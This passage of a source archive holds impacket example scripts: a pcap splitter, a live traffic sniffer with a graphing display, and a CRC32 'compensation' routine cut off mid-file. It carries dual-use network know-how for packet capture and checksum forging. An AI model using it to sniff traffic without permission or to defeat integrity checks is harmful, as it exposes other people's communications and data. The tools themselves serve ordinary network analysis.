tools splits pcap capture files into smaller ones, one for each # different TCP/IP connection found in the original. # # Authors: # Alejandro D. Weil # Javier Kohen # # Reference for: # pcapy: open_offline, pcapdumper. # ImpactDecoder. import sys import string from exceptions import Exception from threading import Thread import pcapy from pcapy import open_offline import impacket from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder class Connection: """This class can be used as a key in a dictionary to select a connection given a pair of peers. Two connections are considered the same if both peers are equal, despite the order in which they were passed to the class constructor. """ def __init__(self, p1, p2): """This constructor takes two tuples, one for each peer. The first element in each tuple is the IP address as a string, and the second is the port as an integer. """ self.p1 = p1 self.p2 = p2 def getFilename(self): """Utility function that returns a filename composed by the IP addresses and ports of both peers. """ return '%s.%d-%s.%d.pcap'%(self.p1[0],self.p1[1],self.p2[0],self.p2[1]) def __cmp__(self, other): if ((self.p1 == other.p1 and self.p2 == other.p2) or (self.p1 == other.p2 and self.p2 == other.p1)): return 0 else: return -1 def __hash__(self): return (hash(self.p1[0]) ^ hash(self.p1[1]) ^ hash(self.p2[0]) ^ hash(self.p2[1])) class Decoder: def __init__(self, pcapObj): # Query the type of the link and instantiate a decoder accordingly. datalink = pcapObj.datalink() if pcapy.DLT_EN10MB == datalink: self.decoder = EthDecoder() elif pcapy.DLT_LINUX_SLL == datalink: self.decoder = LinuxSLLDecoder() else: raise Exception("Datalink type not supported: " % datalink) self.pcap = pcapObj self.connections = {} def start(self): # Sniff ad infinitum. # PacketHandler shall be invoked by pcap for every packet. self.pcap.loop(0, self.packetHandler) def packetHandler(self, hdr, data): """Handles an incoming pcap packet. This method only knows how to recognize TCP/IP connections. Be sure that only TCP packets are passed onto this handler (or fix the code to ignore the others). Setting r"ip proto \tcp" as part of the pcap filter expression suffices, and there shouldn't be any problem combining that with other expressions. """ # Use the ImpactDecoder to turn the rawpacket into a hierarchy # of ImpactPacket instances. p = self.decoder.decode(data) ip = p.child() tcp = ip.child() # Build a distinctive key for this pair of peers. src = (ip.get_ip_src(), tcp.get_th_sport() ) dst = (ip.get_ip_dst(), tcp.get_th_dport() ) con = Connection(src,dst) # If there isn't an entry associated yetwith this connection, # open a new pcapdumper and create an association. if not self.connections.has_key(con): fn = con.getFilename() print "Found a new connection, storing into:", fn try: dumper = self.pcap.dump_open(fn) except pcapy.PcapError, e: print "Can't write packet to:", fn return self.connections[con] = dumper # Write the packet to the corresponding file. self.connections[con].dump(hdr, data) def main(filename): # Open file p = open_offline(filename) # At the moment the callback only accepts TCP/IP packets. p.setfilter(r'ip proto \tcp') print "Reading from %s: linktype=%d" % (filename, p.datalink()) # Start decoding process. Decoder(p).start() # Process command-line arguments. if __name__ == '__main__': if len(sys.argv) <= 1: print "Usage: %s " % sys.argv[0] sys.exit(1) main(sys.argv[1]) impacket-0.9.12/examples/tracer.py 0000600 0000765 0000024 00000031161 12361767070 017127 0 ustar beto staff 0000000 0000000 #!/usr/bin/python # Copyright (c) 2003 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # $Id: tracer.py 17 2003-10-27 17:36:57Z jkohen $ # # Parallel Coordinates traffic grapher. # # This grapher uses the pcap library to listen for packets in transit # over the specified interface. The returned packages can be filtered # according to a BPF filter (see tcpdump(3) for further information on # BPF filters). The packets are displayed on a parallel coordinates # graph that allows the user to visualize the traffic flow on the # network in real-time. # # The graphing part requires Tk support. Note that the user might need # special permissions to be able to use pcap. # # Authors: # Gerardo Richarte # Javier Kohen # # Reference for: # pcapy: findalldevs, open_live. # ImpactPacket. # ImpactDecoder. ## Some tunable variables follow. # Period (in ms.) to wait between pcap polls. POLL_PERIOD = 250 # Period (in ms.) to wait between screen refreshes. REFRESH_PERIOD = 1000 # Refresh screen after receiving new packets. # You might want to turn off fast_draws if it consumes too much CPU, # for instance, when used under X-Window over a network link. fast_draws = 1 ## End of user configurable section. import os import socket import sys import time import Tkinter from Tkconstants import * import pcapy from pcapy import open_live, findalldevs, PcapError import impacket from impacket import ImpactPacket from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder class NumericAxis: def __init__(self,canvas,name,low=0,high=0,direction='vertical'): self.canvas = canvas self.name = name self.setLowerLimit(low) self.setHigherLimit(high) self.direction = direction def screenLength(self): if self.direction == 'vertical': return (self.canvas.winfo_height())-10 else: return (self.canvas.winfo_width())-10 def scaleLength(self): delta = self.getHigherLimit()-self.getLowerLimit() if not delta: delta += 1 return delta def unscale(self,coord): return int((coord-5)*self.scaleLength()/self.screenLength()+self.getLowerLimit()) def scale(self,value): return (value-self.getLowerLimit())*self.screenLength()/self.scaleLength()+5 def setLowerLimit(self,limit): if not limit == None: self._lowerLimit = limit def setHigherLimit(self,limit): if not limit == None: self._higherLimit = limit def getLowerLimit(self): return self._lowerLimit def getHigherLimit(self): return self._higherLimit def addValue(self,value): if self.getLowerLimit() > value: self.setLowerLimit(value) if self.getHigherLimit() < value: self.setHigherLimit(value) class SymbolicAxis(NumericAxis): def __init__(self,canvas,name,values=[],direction = 'vertical'): NumericAxis.__init__(self,canvas,name,0,len(values)-1,direction) self.values = list(values) def addValue(self,value,sort = 1): try: self.values.index(value) return except: None self.values.append(value) if sort: self.values.sort() self.setHigherLimit(len(self.getValues())-1) def unscale(self,value): try: i = NumericAxis.unscale(self, value) if i < 0: return None return self.getValues()[i] except Exception,e: return None def scale(self,value): try: return NumericAxis.scale(self,self.getValues().index(value)) except: self.addValue(value) return NumericAxis.scale(self,self.values.index(value)) def getValues(self): return self.values class ParallelCoordinates(Tkinter.Canvas): def __init__(self, master=None, cnf={}, **kw): apply(Tkinter.Canvas.__init__, (self, master, cnf), kw) self.lastSelection = None self.lastSelectionOval = None self._onSelection = None self.minColor = None self.maxColor = None self.colorAxis = '_counter' self.values=[] self.mainAxis=SymbolicAxis(self,'mainAxis',[],'horizontal') master.bind(' ',self.draw) master.bind(' ',self.buttonDown) master.bind('<1>',self.buttonDown) master.bind(' ',self.buttonUp) def addAxis(self,axis): self.mainAxis.addValue(axis,0) def sameValue(self,a,b): for axis in self.mainAxis.getValues(): if not a[axis.name] == b[axis.name]: return 0 return 1 def addValue(self,value): for each in self.values: if self.sameValue(value,each): each['_counter'] += 1 each['timestamp'] = value['timestamp'] value = each break else: value['_counter'] = 1 for axis in self.mainAxis.getValues(): axis.addValue(value[axis.name]) self.values.append(value) color = value[self.colorAxis] if None == self.minColor or self.minColor > color: self.minColor = color if None == self.maxColor or self.maxColor < color: self.maxColor = color def removeValue(self, value): self.values.remove(value) def basicColor(self,val,fade = 1): # color scale is linear going through green -> yellow -> red # (lower to higher) if val < 0.5: val += val # val *= 2 (scale from 0 to 1) # between green - yellow red = 64*(1-val) + 255*val green = 200*(1-val) + 255*val blue = 64*(1-val) + 0 else: val -= 0.5 val += val red = 255*(1-val) + 255*val green = 255*(1-val) + 64*val blue = 0 + 0 return '#%02x%02x%02x' % (int(red*fade), int(green*fade), int(blue*fade)) def fade(self,value): return max(0,(120.0-time.time()+value['timestamp'])/120.0) def color(self,value,fade = 1): # color scale is linear going through green -> yellow -> red (lower to higher) val = float(value[self.colorAxis]-self.minColor)/(self.maxColor-self.minColor+1) return self.basicColor(val,fade) def drawValueLine(self,value): x = -1 y = -1 fade = self.fade(value) if not fade: self.removeValue(value) return color = self.color(value,fade) for axis in self.mainAxis.getValues(): px = x py = y x = self.mainAxis.scale(axis) y = axis.scale(value[axis.name]) if not px == -1: self.create_line(px,py,x,y,fill = color) def draw(self,event = None): # draw axis for i in self.find_all(): self.delete(i) for axis in self.mainAxis.getValues(): x = self.mainAxis.scale(axis) self.create_line(x,5,x,int(self.winfo_height())-5,fill = 'white') for value in self.values: self.drawValueLine(value) # draw color range # for i in range(200): # c = self.basicColor((i+0.0)/200) # self.create_line(0,i,100,i,fill = c) def buttonDown(self,event): if (event.state & 0x0100) or (event.type == '4'): axis = self.mainAxis.unscale(event.x) if not axis: return element = axis.unscale(event.y) if not element: return x = self.mainAxis.scale(axis) y = axis.scale(element) if self.lastSelectionOval: self.delete(self.lastSelectionOval) self.lastSelectionOval = self.create_oval(x-3,y-3,x+3,y+3,fill = "yellow") if not self.lastSelection == (axis,element): self.lastSelection = (axis,element) if self._onSelection: self._onSelection(self.lastSelection) def buttonUp(self,event): if self.lastSelectionOval: self.delete(self.lastSelectionOval) self.lastSelectionOval = None self.lastSelection = None if self._onSelection: self._onSelection(None) def onSelection(self,_onSelection): self._onSelection = _onSelection class Tracer: def __init__(self, interface = 'eth0', filter = ''): print "Tracing interface %s with filter `%s'." % (interface, filter) self.tk = Tkinter.Tk() self.pc = ParallelCoordinates(self.tk,background = "black") self.pc.pack(expand=1, fill="both") self.status = Tkinter.Label(self.tk) self.status.pack() self.tk.tkraise() self.tk.title('Personal SIDRA (IP-Tracer)') self.pc.addAxis(NumericAxis(self.pc, 'proto',256)) self.pc.addAxis(SymbolicAxis(self.pc,'shost')) self.pc.addAxis(SymbolicAxis(self.pc,'sport')) self.pc.addAxis(SymbolicAxis(self.pc,'dport')) self.pc.addAxis(SymbolicAxis(self.pc,'dhost')) self.pc.onSelection(self.newSelection) self.interface = interface self.filter = filter def timerDraw(self,event = None): self.pc.draw() self.tk.after(REFRESH_PERIOD, self.timerDraw); def start(self): self.p = open_live(self.interface, 1600, 0, 100) ## self.p.setnonblock(1) if self.filter: self.p.setfilter(self.filter) # Query the type of the link and instantiate a decoder accordingly. datalink = self.p.datalink() if pcapy.DLT_EN10MB == datalink: self.decoder = EthDecoder() elif pcapy.DLT_LINUX_SLL == datalink: self.decoder = LinuxSLLDecoder() else: raise Exception("Datalink type not supported: " % datalink) self.tk.after(POLL_PERIOD, self.poll) self.tk.after(REFRESH_PERIOD, self.timerDraw); self.tk.bind('q',self.quit) self.tk.mainloop() def quit(self,event): self.tk.quit() def poll(self,event = None): self.tk.after(POLL_PERIOD, self.poll) received = 0 while 1: try: hdr, data = self.p.next() except PcapError, e: break self.newPacket(hdr.getcaplen(), data, hdr.getts()[0]) received = 1 if received and fast_draws: self.pc.draw() def newPacket(self, len, data, timestamp): try: p = self.decoder.decode(data) except Exception, e: pass value = {} try: value['timestamp']=timestamp value['shost']=p.child().get_ip_src() value['dhost']=p.child().get_ip_dst() value['proto']=p.child().child().protocol value['sport']=-1 value['dport']=-1 except: return try: if value['proto'] == socket.IPPROTO_TCP: value['dport']=p.child().child().get_th_dport() value['sport']=p.child().child().get_th_sport() elif value['proto'] == socket.IPPROTO_UDP: value['dport']=p.child().child().get_uh_dport() value['sport']=p.child().child().get_uh_sport() except: pass self.pc.addValue(value) def setStatus(self,status): self.status.configure(text = status) def newSelection(self, selection): if selection: self.setStatus('%s:%s' % (selection[0].name, selection[1])) else: self.setStatus('') def getInterfaces(): # Grab a list of interfaces that pcap is able to listen on. # The current user will be able to listen from all returned interfaces, # using open_live to open them. ifs = findalldevs() # No interfaces available, abort. if 0 == len(ifs): return "You don't have enough permissions to open any interface on this system." return ifs def printUsage(): print """Usage: %s [interface [filter]] Interface is the name of a local network interface, see the list of available interfaces below. Filter is a BPF filter, as described in tcpdump(3)'s man page. Available interfaces for this user: %s """ % (sys.argv[0], getInterfaces()) def main(): if len(sys.argv) == 1: printUsage() graph = Tracer() elif len(sys.argv) == 2: graph = Tracer(sys.argv[1]) elif len(sys.argv) == 3: graph = Tracer(sys.argv[1],sys.argv[2]) else: printUsage() sys.exit(1) graph.start() main() impacket-0.9.12/examples/uncrc32.py 0000600 0000765 0000024 00000001717 12361767070 017132 0 ustar beto staff 0000000 0000000 # based on: # # Reversing CRC - Theory and Practice. # HU Berlin Public Report # SAR-PR-2006-05 # May 2006 # Authors: # Martin Stigge, Henryk Plotz, Wolf Muller, Jens-Peter Redlich FINALXOR = 0xffffffffL INITXOR = 0xffffffffL CRCPOLY = 0xEDB88320L CRCINV = 0x5B358FD3L from binascii import crc32 from struct import pack def tableAt(byte): return crc32(chr(byte ^ 0xff)) & 0xffffffff ^ FINALXOR ^ (INITXOR >> 8) def compensate(buf, wanted): wanted ^= FINALXOR newBits = 0 for i in range(32): if newBits & 1: newBits >>= 1 newBits ^= CRCPOLY else: newBits >>= 1 if wanted & 1: newBits ^= CRCINV wanted >>= 1 newBits ^= crc32(buf) ^ FINALXOR return pack('